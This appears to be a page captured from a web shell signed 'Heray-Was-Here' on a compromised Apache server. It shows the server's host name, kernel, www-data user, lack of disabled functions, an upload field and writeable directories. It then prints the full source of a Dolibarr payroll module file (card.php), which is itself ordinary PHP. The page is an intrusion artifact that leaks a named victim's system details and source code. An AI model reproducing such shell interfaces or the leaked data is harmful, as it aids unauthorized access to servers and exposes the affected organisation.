Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/paiedolibarr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/paiedolibarr/card.php
<?php 

$res=0;
if (! $res && file_exists("../main.inc.php")) $res=@include("../main.inc.php");       // For root directory
if (! $res && file_exists("../../main.inc.php")) $res=@include("../../main.inc.php"); // For "custom" 

if (!$conf->paiedolibarr->enabled) {
    accessforbidden();
}

dol_include_once('/paiedolibarr/class/paiedolibarr.class.php');
$paiedolibarr = new paiedolibarr($db);
$res = $paiedolibarr->upgradeTheModule();

dol_include_once('/paiedolibarr/class/paiedolibarr_paies.class.php');
dol_include_once('/paiedolibarr/class/paiedolibarr_paiesrules.class.php');
dol_include_once('/paiedolibarr/class/paiedolibarr_rules.class.php');

dol_include_once('/core/class/html.form.class.php');
require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/extrafields.class.php';

$langs->load('paiedolibarr@paiedolibarr');
$langs->loadLangs(array('bills'));
$modname = $langs->trans("paiedolibarr2");

// Initial Objects
$object         = new paiedolibarr_paies($db);
$paierule       = new paiedolibarr_paiesrules($db);
$form        	= new Form($db);
$formother 		= new FormOther($db);
$userpay 		= new User($db);

$rules          = new paiedolibarr_rules($db);


// Get parameters
$request_method = $_SERVER['REQUEST_METHOD'];
$action         = GETPOST('action', 'alpha');
$page           = GETPOST('page');
$id             = (int) ( (!empty($_GET['id'])) ? $_GET['id'] : GETPOST('id') ) ;
if($id){
    $object->fetch($id);
    if($object->entity != $conf->entity)
        $result = restrictedArea($user, 'paiedolibarr_paies', $id);
}
$error  = false;
if (!$user->rights->paiedolibarr->lire && !$user->admin) {
    accessforbidden();
}

if(in_array($action, ["add","edit"])) {
    if (!$user->rights->paiedolibarr->creer && !$user->admin) {
      accessforbidden();
    }
}
if($action == "delete") {
    if (!$user->rights->paiedolibarr->supprimer && !$user->admin) {
      accessforbidden();
    }
}

// ------------------------------------------------------------------------- Actions "Create/Update/Delete"
if ($action == 'create' && $request_method === 'POST') {
    require_once 'ucard/create.php';
}

if ($action == 'update' && $request_method === 'POST') {
    require_once 'ucard/edit.php';
}

// If delete of request
if ($action == 'confirm_delete' && GETPOST('confirm') == 'yes' ) {
    require_once 'ucard/show.php';
}

$export = GETPOST('export');

$paiedolibarrel   = $conf->global->PAIEDOLIBARR_PAIE_MODEL ? $conf->global->PAIEDOLIBARR_PAIE_MODEL : 'cote_d_ivoire';

if(!isset($paiedolibarr->paiedolibarrels[$paiedolibarrel])) 
    $paiedolibarrel = 'cote_d_ivoire';

$paiedolibarrel = '0';

if (!empty($id) && $export == "pdf") {
    global $conf, $langs, $mysoc;


    require_once DOL_DOCUMENT_ROOT.'/core/lib/pdf.lib.php';
    require_once dol_buildpath('/paiedolibarr/pdf/pdf.lib.php');

    $pdf->SetMargins(7, 2, 7, false);
    $pdf->SetFooterMargin(10);
    $pdf->setPrintFooter(true);
    $pdf->SetAutoPageBreak(TRUE,10);

    $height=$pdf->getPageHeight();

    $pdf->SetFont('helvetica', '', 9, '', true);
    $pdf->AddPage('L');
    $margint = $pdf->getMargins()['top'];
    $marginb = $pdf->getMargins()['bottom'];
    $marginl = $pdf->getMargins()['left'];
    $object->fetch($id);
    $item = $object;

    $pdf->SetTextColor(0, 0, 60);

    $default_font_size = 10;
    $pdf->SetFont('', '', $default_font_size);
    $posy   = $margint;
    $posx   = $pdf->page_largeur-$pdf->getMargins()['right']-100;

    $pdf->SetXY($marginl, $posy);

    if($paiedolibarrel != 'france'){
        $pdf->SetXY($marginl, $posy);

        $heightimg = 15;
        if ($mysoc && $mysoc->logo)
        {
            $logodir = $conf->mycompany->dir_output;
            if (empty($conf->global->MAIN_PDF_USE_LARGE_LOGO))
            {
                $logo = $logodir.'/logos/thumbs/'.$mysoc->logo_small;
            }
            else {
                $logo = $logodir.'/logos/'.$mysoc->logo;
            }
            
            if (is_readable($logo))
            {
                $height = pdf_getHeightForLogo($logo);
                $pdf->Image($logo, $marginl, $posy, 0, $heightimg); // width=0 (auto)
            }
            else
            {
                $pdf->SetTextColor(200, 0, 0);
                $pdf->SetFont('', 'B', $default_font_size - 2);
                $pdf->MultiCell(100, 3, $langs->transnoentities("ErrorLogoFileNotFound", $logo), 0, 'L');
                $pdf->MultiCell(100, 3, $langs->transnoentities("ErrorGoToGlobalSetup"), 0, 'L');
            }
        }
        else
        {
            $heightimg = 8;
            $text = $mysoc->name;
            $pdf->MultiCell(100, 4, $langs->convToOutputCharset($text), 0, 'L');
        }

        $posy = $margint + $heightimg + 2;

        $pdf->SetTextColor(0, 0, 60);
        $currentwate    = $conf->global->PAIEDOLIBARR_WATERMARK_IMG;
        if($currentwate){
            $bMargin = $pdf->getBreakMargin();
            $auto_page_break = $pdf->getAutoPageBreak();
            $pdf->SetAutoPageBreak(false, 0);
            $img_file = $conf->mycompany->dir_output.'/watermark/'.$currentwate;
            $pdf->SetAlpha(0.1);
            $pdf->Image($img_file, 35, 100, 140, '', '', '', '', false, 300, '', false, false, 0);
            $pdf->SetAlpha(1);
            $pdf->SetAutoPageBreak(true, $bMargin);
            $pdf->setPageMark();
        }
    }

    $pdf->SetFont('', '', $default_font_size + 1);

    $pdf->SetXY($posx, $posy);

    require_once dol_buildpath('/paiedolibarr/tpl/paie-'.$paiedolibarrel.'.php');
 
    $pdf->writeHTML($html, true, false, true, false, '');
    ob_start();
    $pdf->Output($object->ref.'.pdf', 'I');
    // ob_end_clean();
    die();

}


/* ------------------------ View ------------------------------ */

$morejs  = array();

$morejs  = array();
llxHeader(array(), $modname,'','','','',$morejs,0,0);

$head = '';

// $newcardbutton .= '<a href="index.php">'.$langs->trans('BackToList').'</a>';
$newcardbutton = '';
print_barre_liste($modname, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, "", $num, $nbrtotal, 'user', 0, $newcardbutton, '', $limit, 0, 0, 1);


// ------------------------------------------------------------------------- Views
print '<div class="paiepaiediv">';
if($action == "add")
    require_once 'ucard/create.php';

if($action == "edit")
    require_once 'ucard/edit.php';

if( ($id && empty($action)) || $action == "delete" )
    require_once 'ucard/show.php';
print '</div>';

?>
<script type="text/javascript">
    $( document ).ready(function() {
     
    });

    function remove_tr_datesconges(x){
        var y = $(x).parent('td').parent('tr');
        y.remove();
    }
</script>
<?php
llxFooter();

if (is_object($db)) $db->close();
?>

Hry